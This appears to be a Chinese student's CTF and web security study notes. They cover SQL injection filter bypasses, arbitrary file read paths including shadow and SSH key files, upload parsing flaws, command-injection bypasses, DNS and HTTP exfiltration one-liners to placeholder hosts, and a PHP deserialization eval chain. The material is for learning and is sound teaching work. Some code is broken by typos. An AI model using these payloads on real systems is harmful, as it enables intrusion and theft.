网络安全笔记

网络安全笔记

Linux基础

cd ../.. 							返回上两级目录
cd . 								返回个人主目录
cd ~user1
pwd 								显示工作路径
ls -F 								查看目录中的文件
   -l 								显示文件目录的详细信息
   -a 								显示隐藏文件
ls /bin 							显示bin目录下的问价
tree 								显示由根目录开始的树形结构
lstree
mkdir -p /tmp/dir1/dir2 			创建一个目录树
rm -f file1 						删除一个文件
rm -rf dir1 						递归删除dir1下的所有文件
rmdir dir1 							删除目录
mv dir1 new_dir 					重命名目录
mv /usr/tmp/tool /opt 				将文件剪切到另一个目录
mv -r /usr/tmp/tool /opt 			递归剪切
cp file1 file2 						复制文件
cp dir/* 							复制目录下所有文件到当前工作目录
cp -a /tmp/dir1 					复制目录到当前目录
cp dir1 dir2  						复制目录及子目录
find /usr/bin -type f -mtime -10 	搜索十天内被创建或被修改的文件
find /bin -name 'a*' 				搜索文件名为a开头的所有文件

tcpdump的使用
tcpdump -w result.cap 				抓取所有的网络包并存入到result.cap文件内
tcpdump -i eth0 -w result.cap 		抓取所有通过eht0万卡的网络包并存入result.cap文件中
tcpdump src 192.168.1.100 -w result.cap 抓取源地址为192.68.1.100的网络包并存入result.cap文件中
tcpdump tcp port 80 -n -s 0 -w result.cap 抓取80端口的流量并存入result.cap文件中

其他命令
whereis file 						查看有关文件
which bash 							查看命令的绝对路径
w
who 								查看登陆情况
df -h 								查看磁盘占用情况
top 								查看cpu占用情况,内存占用情况
sevice --status -all 				查看所有服务的运行状态
ps -axu 							查看系统进程
kill 9 [pid] 						强制杀掉进程
cat /proc/version 					查看系统内核
uname -a 							显示重要的系统信息

文件搜集

信息收集大部分都是工具的使用

git泄露涉及git命令的应用

1.敏感目录泄露

通过敏感目录泄露可以获得网站的源代码,敏感URL,网络后台地址

git泄露

git是一个主流的分布式版本系统,开发过程中常被开发人员遗忘.git文件夹,导致攻击者通过.git文件夹中的信息获取源码,进而导致服务器被攻击

SVN泄露

subversion源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范将SVN隐藏文件保留库在外网环境,可以利用.svn/entires或wc.db文件获取服务器源码等信息

HG泄露

在使用HG作为管理工具时,会在当前文件夹下创建.hg的隐藏文件夹,其中包含代码,分支修改记录等信息

如果访问.git出现了403错误,那么可以访问.git/config
如果有内容返回,说明git泄露

SVN中一般在entires发去源代码,但有时entires为空
那么就需要查看wc.db是否存在
可通过checksum在pristine文件夹中获取源代码

2.敏感备份文件

通过一些敏感的备份文件,可以获得一些文件的源码,或者网站的整体目录

gedit备份文件

在linux下,用gedit编辑器保存后,当前目录下会生成一个后缀名为‘~’的文件,该文件内是刚才编辑过的内容,加入刚才保存的文件名为flag,则改文件名为flag~,通过浏览器访问这个带有‘~’的文件,可以获得源代码

Vim备份文件

vim是运用最多的linux编辑器,在用户编辑文件以为退出时(如通过SSH链接到服务器时,在用vim编辑文件的过程中可能遇到因为网速不够的导致的命令行卡死而意外退出的情况),会在当前目录下生成一个备份文件,该文件用来备份缓冲区中的内容,即退出时的文件内容针对SWP备份文件,可以使用vim -r 命令恢复文件的内容

常规文件

常规文件所依靠的是字典的饱和性,不论是CTF还是现实世界中,我们都会碰到一些经典的有辨识的文件,从而让我们更好的了解网站

以下是一些简单的例子

robots.txt 记录一些目录和CMS版本信息 机器协议,也是爬虫的许可信息
readme.md 记录CMS版本信息,有的甚至有GItHub地址
www.zip/rar/tar.gz 网站的源代码备份

在CTF线上比赛中,以备份文件为题目,出题人会在线运维题目,会因为各种情况导致SWP备份文件的生成,所以在比赛过程中可以编写实时监控版本,对题目服务进行监控,vim在第一次意外退出是生成的备份文件为*.swp,第二次以为退出时的为*.swo,第三次退出时的为*.swn,以此类推 vim的官方手册中还有*.un文件名.swp类型的备份文件,在实际的环境中,网站的备份往往可能是网站域名的缩写

3.Banner识别

在CTF比赛中,一个网站的Banner信息(服务器对外显示的一些基础信息),对解题有重要作用,可以通过Banner信息来获得解题思路,得知网站使用ThinkPHP的Web框架编写时,我们可以尝试ThinkPHP框架的相关历史漏洞得知这个网站是Windows服务器测试上传漏洞是可以根据Windows的特性进行尝试

自行搜集指纹库

Github有大量成型且公开的CMS指纹库,读者可以自行查找,同时可以借鉴一些成型的扫描器对网站进行识别

使用已有工具

Wappalyzer插件是一项功能强大,简单易操作的网站技术分析检测工具,能对所访问的网站上使用的技术一目了然,能够分析指定网站所采用的平台架构,统计工具,服务器配置,web框架,编程语言等参数

在进行服务器的Banner信息探测时,除了通过上述两种常见的识别方式,还可以尝试随意输入一些URl,可以通过404页面和302跳转页面发现一些信息像开启了debug选项的ThinkPHP网站会在一些错误页面显示ThinkPHP的版本

SQL注入

SQL注入使开发者对用户输入的参数过滤不严格,导致用户输入的数据影响预设查询功能的一种技术,通常导致数据库原有信息泄露,篡改,甚至删除

注入点类型分类

整形注入

当输入的参数id为整形时,Sql语句类型大致如下

select * from <表名> where id = 1

这种类型可以使用经典的and 1=1和and 1=2来判断

字符型注入

当输入的参数1为字符时,通常Sql语句类型大致如下

select * from <表名> where id =1

其余数字类型注入的区别在于
注入时需要使用单引号来闭合

获取信息方式分类

盲注

基于布尔值

如在MySQL中判断数据名长度的输入为1‘ and length(database()) = 10 #
根据返回页面的不同来判断是否数据库名长度是否为10

基于时间

基于事件的SQL盲注方式通常是在SQL语句中添加延时函数,依据响应时间来判断是否存在SQL注入,常用的延时函数或指令有sleep,waitfor函数等

报错注入

在测试过程中通过页面错误回显来进行注入

堆叠注入

同时执行多条语句

用户输入http://www.xxxx.com/1.asp?id=1;DELTE FROM products服务器段生成的sql语句为

select * from products where id=1; delete from products

当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

联合查询注入

使用union操作码合并两条或多条SQL语句
用户输入http://www.xxx.com/1.asp?id=1'union select 1,2,3 -- products服务端生成的sql语句为

select * from products where id=1 union select 1,2,3

这里需要注意的是union后面的列名合个数要和products里面的列名个数对应上,可以看到联合注入和堆叠注入都是执行多条语句,但是有区别,union或者union all 执行的语句类型是有限的,可以用来执行查询语句,但是堆叠注入可以执行任意SQL语句

提交方式分类

post
get

SQL注入

SQL注入与防御

常用防御手段和绕过注入的若干方法,重点提供绕过的思路

1.只过滤空格

除了空格,还有可以代替的空白符,例如%0a,%0b,%0c,%0d,%09,%a0和/**/组合,括号等

2.将select替换成空

遇到替换成空的情况,可使用嵌套的方式 seselectlect,经过过滤后又变回了select

3.大小写匹配

如果是过滤大小写,可以将select进行大小写的转换,MySQL中关键字是不区分大小写的

4.正则匹配

正则匹配关键字\bselect\b可以用形如、*! 50000select*/的方式绕过

5.替换了单引号,双引号,忘记了反斜杠

通过\' \" 这种转义的方式来重新引入单引号或双引号来对注入语句进行闭合

引号的逃逸

注入的重点在于逃逸引号,而开发者常会将用户的输入全局的做一次addslashes,也就是转义,单引号,反斜杠等字符,如‘ 变为 \ 这种情况下,看似不存在SQL注入,但是在某些条件下仍能突破

1.编码解码

2.意料之外的输入点

开发者常用urldecode,base64_decode的解码函数或自定义的加解密函数,当用户输入addslashes函数时,数据处于编码状态,引号无法被转义,解码后如果直接进入SQL语句即可造成注入,同样的情况也发生在加密解密,字符集转换的情况,宽字节注入就是由字符集转换而发生注入的

3.二次注入

二次注入的根源在于,开发者信任数据库中取出的数据是无害的

4.字符串截断

在标题,抬头等位置,开发者可能限定标题日的字符不能超过十个字符,超过则会被截断,假设攻击者输入aaaaaaa’,自动转义成 aaaaaaa\‘,由于字符长度限制,被截取为aaaaaa\,正好转义了预置的单引号

SQL注入的危害

1.写webshell

在有写文件权限的情况下,直接使用

into outfile  或者  dumpfile

向web目录写文件,或者写文件后结合文件包含漏洞达到代码执行的效果

2.读文件

在有读文件权限下的情况下,用

load_file() 函数

如去网站源码和配置信息,获取敏感数据

3.提权

提升权限,获得更高的用户权限或者管理员权限,绕过登录,添加用户,调整用户权限等,从而拥有更多的网站功能

4.恶意添加

通过诸如控制数据库查询出来的数据,控制像模板,缓存等文件的内容来获取权限,或者删除,读取某些关键文件

5.控制数据库

在可以执行多语句得情况下,控制整个数据库,包括控制任意数据,任意字符长度等

6.获取主机权限

在SQL.Server这类数据库中可以直接执行系统命令

实际比赛中会将很多的特性,函数进行结合,MySQL诸如类的题目采用的过滤方法也是多种多样,SQL服务器在实现时的不同,即使是相同的功能,也有很多的实现方式会将过滤时不容易考虑到的知识点或注入技巧作为考点,关键是根据不同的SQL服务器类型,通过fuzz得出被过滤掉的字符,函数,关键字等,查找功能相同但不包含过滤特征的替代品,完成对相关防御的绕过

可以测试的平台有

sqli-labs

使用的工具有

sqlmap

任意文件读取

攻击者通过一些手段读取开发者不允许读取到的文件,在整个攻击过程经常用于信息收集,获取服务器配置文件,密钥,历史命令,网络信息和源码,在CTF中是解决一道题的思路入口,简单的则是直接读取Flag

漏洞常见触发点

WEB语言

1.PHP

文件读取函数

file_get_contents()
file()
fopen()
fread()
fgets()
文件包含函数
include()
require()
include_once()
require_once()

由于php文件之间调用密集频繁,需要将动态参数传入危险函数,php扩展也提供了一些可读取文件函数,但CTF中存在较少

Wrapper

php向用户提供的特定待打开文件不是简单的路径,而是一个文件流,php提供很多功能不同,但形式相似的协议

php://协议 统称为Wrapper

FIlter

除了Wrapper,php另外一个具有特色的机制是Filter,作用是对目前的Wrapper进行一定的处理

php://filter

Read			读取
Wirte			写入
Resourec		数据来源

Read参数

string.strip_tags					将数据流中的所有html标签清除
string.toupper						将数据流中的内容转换为大写
string.tolower						将数据流中的内容装换位小写
convert.base64-encode		将数据流中的内容转换为base64编码
conbert.base64-decode		与上面对应解码为典型的文件包含漏洞

在php.ini(php配置文件)中可以禁用Wrapper和Filter

xx=php://filter/read=convert.base64-enccode/resource=xxx.php

典型的伪协议读取php文件

任意文件读取实际情况

1.文件路径前面可控,后面不可控
2.文件路径后面可控,前面不可控
3.文件路径中间可控

对应手段

1.在较低的PHP版本及容器版本中可以使用\x00截断对应的URL编码是%00。服务端存在文件上传功能时,可以尝试利用Zip或Phar协议直接进行文件包含进而执行php代码
2.可以通过符号 ../进行目录穿越来直接读取文件,这种i情况下无法使用Wrapper`,如果服务端是利用include等文件包含类的函数,那么无法读取php文件中的代码
3.这种情况与第一种类似,但是无法利用Wrapper进行文件包含

2.Pyhton

Pyhton的web应用大多是通过自身模块启动服务搭配中间件和代理服务将web页面呈现,用户和web的交互过程包含服务器资源文件请求,容易出现非预期文件读取情况,Pyhton缺乏统一的资源文件交互的标准,导致Python框架有很多的文件读取漏洞

漏洞经常出现在框架请求静态资源部份,就是读取文件的open函数

直接导致漏洞的原因,大多是开发者忽略了Pyhton函数的特点
很多涉及文件操作的应用也可能因为滥用open函数,模块的不当渲染导致任意文件读取
攻击者制造软连接放入压缩包,解压后的内容会直接指向服务器的相关文件,攻击者访问解压后的链接文件会返回链接指向文件的相应内容。

与PHP相同,Pyhton的一些模块可能存在XXE读文件的情况

3.Java

Java本身的文件读取函数FileInputStream,XXE导致的文件的读取
Java的一些模块支持file://协议,这是Java中出现任意文件读取最多的地方

中间件/服务器

1.Nginx错误配置

Nginx错误配置导致的文件读取漏洞在CTF中经常出现,经常搭配Python-Web应用一起出现,因为nginx一般被视为Python-Web反向代理的最佳实现,他的配置文件出现错误配置,很容易造成严重问题

location/static{
	alias/home/myapp/static/;
	}

如果配置文件包含这段内容,可能是运维或开发人员想染用户可以访问stactic目录(一般是静态资源目录),但,如果用户请求的Web路径是Static../,凭借到了alias上就变成了/home/myapp/static/../,这样就会产生目录穿越漏洞,直接进入myapp目录,攻击者可以任意下载Python源代码和字节码文件

漏洞的成因是location最后没有加/进行限制,Nginx匹配到路径Static后,把其他的内容拼接到alias,传入的是Static…/,Nginx并不认为这是跨目录,而是当作整个目录名,所以不会对他进行跨目录的相关处理

2.数据库

可以进行文件读取操作的数据库很多

MySQL的load_file()函数可已经i选哪个文件读取,但是load_file()函数读取文件首先需要数据库配置FILE权限(数据库root用户一般都有),需要执行load_file()函数的MySQL用户/用户组对于目标文件具有可读权限(很多配置文件都是所有组/.用户可读),Linux系统还需要Apparmor配置目录白名单(默认白名单限制在MySQL相关目录下),这么严格的利用条件,还是经常可以在CTF中遇到相关的文件读取题目

另一种方法是需要执行完整的SQL语句,load data infile

这种方式需要FILE权限,除了SSRF攻击MySQL这种特殊情形
很少有可以直接执行整条非基本SQL语句(除了select/update/insert)的机会

3.软连接

bash命令ln -s可以创建一个指向指定文件的软连接文件,然后将这个软连接文件上传至服务器,当我们再次请求这个链接文件时,实际上是请求在服务端指向它的文件

4.Docker-API

Docker-API可以控制Docker的行为,Docker-API通过UNIX Socket通信,也可以通过HTTP直接通信,遇见SSRF漏洞时,尤其是可以通过SSRF漏洞进行UNIX Socket通信时,就可以通过操纵Docker-API把本地文件载入Docker进行读取(利用Docker的ADD,COPY操作),形成一种另类的任意文件读取

客户端

1.浏览器/Flash XSS

很多的浏览器会禁用JavaScript代码读取本地文件的相关操作
请求一个远程网站,他的JavaScript代码中使用了FIle协议的去客户的本地文件,会由于同源策略导致读取失败,也存在可以绕过的方式

2.Markdown语法解析器XSS

与XSS相似,Markdown解析器也具有一定的解析JavaScript的能力,但大多没有像浏览器一样对本地文件读取的操作进行限制,很少有与同源策略类似的防护措施

常见读取路径

Linux

Flag名称
又是暴力破解flag名称就能获得答案

注意文件名和后缀名

../../../../../../../../../flag(.txt|.php|.pyc|py)
Flag(txtl.phpl.pycl.py )
[xxxx]/flag(.txt|.php|.pyc|py)
../../../../../../../../etc/flag(.txt|.php|.pyc|py)
../flag(.txt|.php|.pyc|py)
../../../../../../../../root/flag(.txt|.php|.pyc|py)
../../../../../../../../home/[xxxx]/flag(.txt|.php|.pyc|py)
../../../../../../../../home/flag(.txt|.php|.pyc|py)

服务器信息(绝对路径)

常见的部分须知目录和文件

/etc
/etc/passwd
/etc/shandow
/etc/apache2/*/etc/apache2/*
/etc/nginx/*/etc/nginx/*
/etc/apparmor(.d)/*/etc/apparmor(.d)/*
/etc/(cron.d/*|crontab)/etc/(cron.d/*|crontab)
/etc/environment
/etc/hostname
/etc/host
/etc/issue
/etc/mysql/*
/etc/php/*
/proc
/usr.loacl/nginx/conf/*
/var/www/html
/var/lib/php(5)/session/
~/.bash_history
~/.bashrc
~/.ssh/id_rsa(.pub)
~/.viminfo

Windows

Windows系统下的Web任意文件读取漏洞在CTF中不常见。
Windows与PHP搭配使用时存在一个问题
可以使用 < 等符号作为通配符,从而在不知道完整文件名的情况下进行文件读取

文件上传

文件上传点没有对上传文件进行严格的验证和过滤,造成任意文件上传,包括上传动态文件(asp,php,jsp)
如果上传的目标目录没有限制执行权限,导致上传执行,就会出现文件上传漏洞

存在上传漏洞的必要条件

-存在上传点
-可以上传动态文件
-上传目录有执行权限,并且上传的文件可执行
-可以访问到上传的动态文件

中间件解析漏洞 Apache

首先apache发现这个文件的扩展名是未知的,他会先看或站名之前是否有其他的可识别的扩展名,完整的文件名为 shell.php.xxx,那么Apache就会发现在位置扩展名之前有可识别的扩展名php,那么就会认为是一个php文件,并且按照php文件的解析方式进行解析

影响版本Apacche
漏洞版本2.2.x

中间件解析漏洞 IIS6.0

1.目录解析

*.asp命名的文件夹里的文件都会被当作ASP文件执行

2.文件解析

*.asp;.jpg这种畸形文件名在 ;后面的直接被忽略,也就是被当成*.asp文件执行

IIS6.0默认的可执行文件除了asp还包含这三种*.asa *.cer *.cdx

中间件解析漏洞 IIS7.0/7.5

构建路径*.php尝试解析
http://192.168.4.171/muma.jpg/.php

中间件解析漏洞 Nginx

1.网站的错配置导致nginx将 .php结尾的文件交给fastcgi处理,所以构造http://ip/up;oadfiles/test/png/.php
2.fastcgi在处理 .php文件时文件并不存在,php.ini配置文件中的cgi.fix_pathinfo=1发挥作用,这项配置用于恢复路径如果当前路径不存在则采用上层路径,所以交给fastcgi处理的文件就变成了/test.png
3.php.fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(指定什么类型的文件当作代码解析),此项设置为空的时候才允许fastchio将.png文件当作代码解析

JS前端绕过

前端JS校验,可以直接禁用JS,或者使用burp抓包修改文件类型

后缀名验证

基于文件后缀名验证方式的分类

1.基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功
2.基于黑名单验证:执政对黑名单中没有的后缀名,文件才能上传成功
禁止.jsp .php .asp .aspx
但是可以使用其他后缀名 .php1 .php2 .phtml .php5

后缀名验证 -htaccess/.user.ini

.htaccess

.htaccess文件是Apache服务器中的一个配置文件,负责相关目录下的网页配置,通过htaccess文件,实现网页301重定向,自定义404错误页面改变文件扩展名允许/组织特定的用户或目录的访问,禁止目录列表,配置默认文档等功能
其中.htaccess内容:

SetHandler application/x-httpd-php
设置当前目录所有文件都使用PHP解析,无论上传任何文件
只要文件内容符合PHP语言代码规范,就会被当作PHP执行,不符合则报错

.user.ini

auto_prepend_file=1.gif为内容的.user.ini文件,上传一个内容为php的一句话脚本,命名为1.gif

.user.ini文件里面的意思
所有的php文件都自动包含1.gif文件
.user.ini文件相当于一个用户自定义的php.ini

命令执行

开发者使用一些执行命令函数,为对用户输入的数据进行安全检查时,可以注入恶意命令

命令执行的用途

1.技巧性直接获取flag
2.进行反弹Shell,然后进入内网
3.利用出题人对权限的控制不严格,对题目环境拥有控制权,导致其他队伍选手无法解题,在时间上会有优势

在CTF中,命令执行发生在远程,也叫远程命令执行,RCE(Remote Command Exec),(RemoteCode Exec)

漏洞原理

为方便程序处理,会存在各种执行外部程序的函数,当调用函数执行命令且未对输入做过滤时,通过注入恶意命令,会造成巨大危害

PHP-System


$m = $_GET['m']
system('echo'.$m)
>?

http://xxx.com/?m=xxx
输出
xxx

http://xxx.com/?m=xxx%26%26 whoami
输出
Xxx desktop-6g9xxx|\xxxx

命令注入是通过诸如一些特殊字符,改变原本的执行意愿,执行攻击者指定命令

基础

转义字符

系统中的cmd.exe,bash程序执行命令能够解析很多特殊字符,这样会使BAT批处理和bash脚本处理工作更加便捷,如果想去掉特殊字符的特殊意义,就需要进行转义,所以转义字符也是取消字符的特殊意义

Windows的转义字符是 ^ 
Linux的转义字符是 \ 

多条命令执行

在命令注入中通常需要注入多条命令扩大伤害
能够构成多条命令执行的字符串

Windows 下 && , ||%0a
Linux 下 && ,||;  ,$() , " , %0a , %0d

xxx||echo mmm
xxx程序并不存在所以报错,但是注入 || 字符,如果前面报错,后续的命令也会被执行,%0a %0d 是由于换行而可执行新的命令

 在Linux中需要注意,双引号包裹的字符串 "$()"  中的内容被当作命令执行
 但是单引号包裹的字符串就是纯字符串,不会进行任何解析

测试

在位置的命令注入时,最好通过各种Fuzz来确认命令注入点和黑名单规则

一般命令格式

程序1-程序参数1 参数值1 && 程序2-程序参数2 参数值2
以ping -nc 1 www,baidu.com为例构建Fuzz列表
程序名 ping
参数 -nc
参数值 1和www.baidu.com
程序名与参数值之间的字符串 空格
整个命令

参数值有时较为复杂,可能是部分可控,被单引号,双引号包裹,需要注意额外的引号来进行逃逸

构造Fuzz列表

&& curl www.dnslog.com &&
'curl www.dnslog.com'
;curl www.dnslog.com;

再通过将Fuzz列表插入命令点后,通过查看自己服务器的Web日志来观察是否存在漏洞

绕过技巧

1.缺少空格

<php
$cmd = str_replace(" ","",$_GET['cmd']);
echo "cmd:".$cmd.<br>";
echo system($cmd)

在代码审计中经常会禁止空格出现或者将空格过滤为空,但是命令中间隔的字符可以不只是空格(URL编码为 %20),还可以利用burpsuit对%00 ~ %ff区间的字符串进行测试,可以发现其他字符进行绕过,利用burp suit进行Fuzz

除了使用不可见字符暴力破解,还可以使用字符串截取的方式获取空格
C:\>echo%ProgramFiles:~10,1%111111

其中,~ 相当于截取符表示获取环境变量%ProgFiles%的值,一般为C:\Program FIles 所以,这个命令表示,从第十个开始获取一个字符串,就是空格

Linux中绕过空格的方式

$IFS$9

Bash有效,zsh,dash无效

{cmd,args}

读取文件时

cat<>flag

$IFS$9
Linux存在IFS(Internal Field Separator)环境变量,内部字段分隔符,定义了bash shell命令间隔字符一般为空格,使用IFS时需要使用间隔符来避免出现不存在的变量,通常是$9,$9表示但钱系统Shell进程的第九个参数是一个空字符串,也可以使用\${IFS}进行注入,或者在某些平台下通过修改IFS变量为逗号进行注入; IFS=, ;

2.黑名单关键字

CTF比赛中,会遇到黑名单关键字,例如对cat,flag等字段进行拦截,可以使用下面的方法进行绕过

–利用变量拼接

Linux: `a=c;b=at;c=he;d=llo;$a$b $(c)${d}`

其中,a变量为c,b变量为at,最终$a$b是cat,c变量为he,d变量为llo,最终$(c)${d}为hello,所以执行的命令为 cat hello

–使用通配符

Linux:cat /tm?/fl*
Windows:type fla*

–借用已有字符串

若是禁用<>?等字符串,则可以借用其他文件中的字符串,利用substr(0函数截取某个具体字符(NR=读取行)

3.执行无回显

CTF中经常会遇到执行命令的结果不在网页上现实的情况,可以通过以下方式获取执行结果

–HTTP通道

for /F %x in ('echo xxx') do start http://xxxx:8000/%x

通过for命令,将echo xxxx执行的结果保存在%x中,然后拼接到URl上,命令执行过后,默认浏览器会被系统调用打开并访问指定网站,最终在Web日志中查看结果
在Linux下,由于存在管道,所以特别方便数据的传输,通常利用curl,wget等程序进行外带数据,多条命令执行中的 ' 和 $()进行字符串拼接

–DNS通道

使用ping命令进行DNS外带数据,ping的参数在Windows和Linux下不同

限制ping的个数
Windows使用-n
Linux使用-c

为了兼容处理可以联合使用

ping -nc 1 test.example.com
Linux:ping -c 1 'whoami'.xxx.com

在Windows下相对复杂,主要利用delims命令进行分割处理,最终拼接到域名前缀上,再利用ping程序进行外带

for /F "delims=\tokens=2" $i in ('whoami') do ping -n 1 %i.xx.com

–时间盲注

网络不通,可以通过时间盲注,将数据跑出来,主要借用$$和||的惰性

 在Linux下可以使用sleep函数
 在Windows下可以使用一些耗时命令 `ping -n 5 127.0.0.1`

–写入文件,二次返回

网络隔离的情况,time型读数据将会极其缓慢,可以将执行命令结果写入到Web目录下,再次通过Web访问文件从从而达到回显目的

PHP黑魔法

1.弱等于与强等于

PHP中有两种比较方式一种是 == 另一种是 === 这两种都可以比较两个数字的大小,但有很明显的区别
== :会把两端变量类型转换成相同的,进行比较
===:会先判断两端变量类型是否相同,进行比较

在两个相等的符号中,一个字符串与一个数字比较时,字符串会转换为数值
当一个字符串当作一个数值来取值,结果和类型如下

如果该字符串没有包含
. , e , E
并且数值值在整形范围之内,该字符串被当作int取值
其他情况被作为float来取值
该字符串的开始部分决定了它的值
如果该字符串以合法的数值开始,则使用该数值,否则其值为0

当出现了xex模式的时候代表科学计数法,比如

1e3 = 1 * 10
在进行比较运算时,如果遇到了0e/d+
0e就是0e,d+的意思是后面全部都是数字
这种字符串就会将字符串解析为科学计数法
所以两个数值都是0,所以相等
如果不满足0e/d+这种模式就不会相等

1.0e开头的全部相等(==判断)

240610708和QNKCDZO

MD5值类型相似,但是并不相同,在 == 操作符的运算下,结果返回True
MD5和SHA1一样

2.利用数组绕过

MD5和SHA1对一个数组进行加密将返回NULL,而NULL===NULL,返回True,可绕过判断

2.Strcmp绕过

Strcmp利用数组绕过(比较两个字符串区分大小写)

int strcmp ( string $str1 , string $str2 )

返回值

如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0

当输入的两个值为不是字符串时就会产生不预期的返回值:
比如

$password=$_GET['password'];
if(strcmp(‘xx',$password)){
echo 'false!';
}else{
echo 'success!';
}
?>

这样一段代码中,输入password[]=1则返回success,成功绕过验证。
原理是因为函数接受到了不符合的类型,将发生错误,函数返回值为0,所以判断相等。

3.array_search()、in_array()绕过

array_search() 函数在数组中搜索键值,返回对应的键名。in_array() 函数搜索数组中是否存在指定的值。基本功能相同,绕过姿势也相同。

Array系列有两种安全问题,一种是正常的数组绕过一种是类似“= =”号问题

1、函数接入到不符合的类型返回“0”这个特性
2、 in_array()函数如果参数没有提供或者是/会进行严格的过滤),那么_就会使用松散比较来判断strict=FALSE]),如果strict参数没有提供或者是false(true会进行严格的过滤),那么inarray就会使用松散比较判断needle是否在$haystack中。当strince的值为true时,in_array()会比较needls的类型和haystack中的类型是否相同

bool in_array ( mixed ,needle,arrayhaystack [, bool =])

4.Switch绕过

如果Switch是数字类型的case判断时,Switch会将其中的参数转换为int类型

5.布尔值

("name"==true);
var_dump(0==false);
var_dump("fasle"==true);
var_dump(1==true);
var_dump(-1==true);
$m = [0];
var_dump($m==true);
?>

前端返回的都是True

6.16进制转换

php在接受一个0x的字符串时,会自动把字符串解析成十进制的再进行比较,0x1e240解析成十进制就是123456,与字符串类型的123456和int型的123456相同。

("0x1e240"=="123456");	 //true
var_dump("0x1e240"==123456);	 //true
var_dump("0x1e240"=="1e240");	 //false
?>

php反序列化

在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程为反序列化,是为了方便对象的传输,通过文件、网络等方式将序列化后的字符串进行传输,通过反序列化可以获取之前的对象。很多语言都存在序列化函数,如Python、Java、PHP、.NET等
在CTF中,经常可以看到PHP反序列化的身影,原因在于PHP提供了丰富的魔术方法,加上自动加载类的使用,为构写EXP提供了便利。所以掌握好php的反序列化即可。

class User{
        var $name = 'zhangsan';
        var $age = 18;
        function get_like(){
            echo 'eat';
        }
    }
    $user = new User;
    echo serialize($user);
?>

O:4:"User":2:{s:4:"name";s:8:"zhangsan";s:3:"age";i:18;}

1.基本类型表达

布尔值(bool):b:value=>b:0。
整数型(int):i:value=>i:1。
字符串型(str):s:length:“value”;=>s:4:"aaaa"。
数组型(array):a:{key,value pairs};=>   a:1:{i:1;s:1:"a"}。
对象型(object):O::。
NULL型:N。

O:4:"User":2:{s:4:"name";s:8:"zhangsan";s:3:"age";i:18;}
|
|
O表示这是一个对象,4表示对象名的长度, User是序列化的对象名称,2表示对象中存在2个属性。第1个属性s表示是字符串,4表示属性名的长度,后面说明属性名称为name,它的值为字符串长度为8内容是‘zhangsan’;第2个属性是age,它的值是为整数型18。

2.魔术方法

PHP中存在魔术方法,PHP自动调用,但是存在调用条件,比如,__destruct是对象被销毁的时候进行调用,通常PHP在程序块执行结束时进行垃圾回收,这将进行对象销毁,然后自动触发__destruct魔术方法,如果魔术方法还存在一些恶意代码,即可完成攻击。

当对象被创建时:__construct。
当对象被销毁时:__destruct。
当对象被当作一个字符串使用时:__toString。
序列化对象前调用(其返回需要是一个数组):__sleep。
反序列化恢复对象前调用:__wakeup。
当调用对象中不存在的方法时自动调用:__call。
从不可访问的属性读取数据:__get。
class lemon{
		protected $ClassPbj;
		function __construct(){
			echo "_construct";
			$this->ClassObj = new normal();
		}
		function __destruct(){
			echo "__destruct";
			$this->ClassObj->action();
		}
	}
	class normal{
		function action(){
			echo "action";
		}
	}
	class evil{
		private $data;
		function action(){
			eval($this->data);
		}
	}
	unserialize($_GET['d']);
?>

	class lemon{
		protected $ClassObj;
		function __construt(){
			$this->ClassObj = new evil();
		}
	}
	class evil{
		private $data = "phpinfo()";
	}
	echo urlencode(serialize(new lemon()));
?>

3.Phar反序列化

Phar反序列化,是因为PHP使用phar_parse_metadata解析meta数据时,会调用php_var_unserialize进行反序列化操作
将需要反序列化的类通过Phar->setMetadata传入,然后生成phar内容。

在PHP中Phar是属于伪协议,伪协议的使用最多的是一些文件操作函数,如fopen()、copy()、file_exists()、filesize()等。如寻找内核中的*_php_stream_open_wrapper_ex函数PHP封装调用此类函数,会让更多函数支持封装协议,如getimagesize、get_meta_tags、imagecreatefromgif等。再通过传入phar:///var/www/html/1.phar便可触发反序列化

例如,
通过file_exists("phar://./demo.phar")
触发phar反序列化

class demo{
	public $t = "Test";
	function __destruct(){
		echo $this->t . "Win.";
	}
}
$obj = new demo;
$obj->t = 'You'
$p = new Phar(',/demo.phar',0);
$p->startBuffering();
$p->setMetadata($obj);
$p->setStub('GIF89a'.');
$p->addFromString('test.txt','test');
$p->stopBuffering();

file_exits ("phar://.deom.phar")

4.小技巧

__wakeup失效:CVE-2016-7124

由于__wakeup失效,绕过其中可能存在的限制,触发可能存在的漏洞,影响版本PHP 5至5.6.25、PHP 7至7.0.10。
原因:当属性个数不正确时,process_nested_data函数返回为0,后面的call_user_function_ex函数不会执行,在PHP中就不会调用__wakeup()。

class demo{
	private $a = array();
	function __destruct(){
		echo "i am destruct...";
	}
	function __wakeup(){
		echo "i am wakeup...";
	}
}
unserialize($_GET['data']);

0:4:"demo":2:[s:5:"demoa";a:0:[}}
bypass反序列化正则

当执行反序列化时,使用正则“/[oc]:\d+:/i”进行拦截

反序列化支持“+”来表达数字

O+4"demo"1{s:5"demoa";a:0{}}
反序列化字符逃逸

PHP在序列化数据的过程中,如果序列化的是字符串,就会保留该字符串的长度,然后将长度写入序列化后的数据,反序列化时就会按照长度进行读取,并且PHP底层实现上是以“;”作为分隔,以“}”作为结尾。php反序列化时会忽略后面的非法部分

Session反序列化

PHP默认存在一些Session处理器:php、php_binary、php_serialize和wddx(需要扩展支持,较为少见)。处理器都是经过序列化保存值,调用的时候会反序列化。

php处理器(php默认处理)
ls3m0n|s:1:"a"
php_serialize处理器
a:1:[s:5:"lsm0n";s:1:"a";}
php_serialize情况存放SESSION:
a:1:{s:20:"IO:8:"stdClass":0:{}";s:1:"a";}

php情况下读取SESSION:
a:2:{s:20:"|O:8:"stdClass":0:{}";s:1:"a";}

存与读不一致时,处理器会出现问题。php_serialize注入的stdclass字符串,在php处理下成为stdclass对象,在php_serialize处理下存入“|O:8:"stdClass":0:{}”,然后在php处理下读取,这时会以“a:2:{s:20:"”作为key,后面的“O:8:"stdClass":0:{}”作为value进行反序列化。

PHP引用

题目
class just4fun{
	var $enter;
	var $secret;
}
$o = unserialize($_GET['d']);
$o->secret = "you don't know the secret";
if($o->secret === $o->enter){
	echo "Win";
}
EXP
class just4fun{
	var $enter;
	var $secert;
	function just4fun(){
		$this -> enter = $this -> secret;
	}
}
echo seialize(new just4fun());
Payload
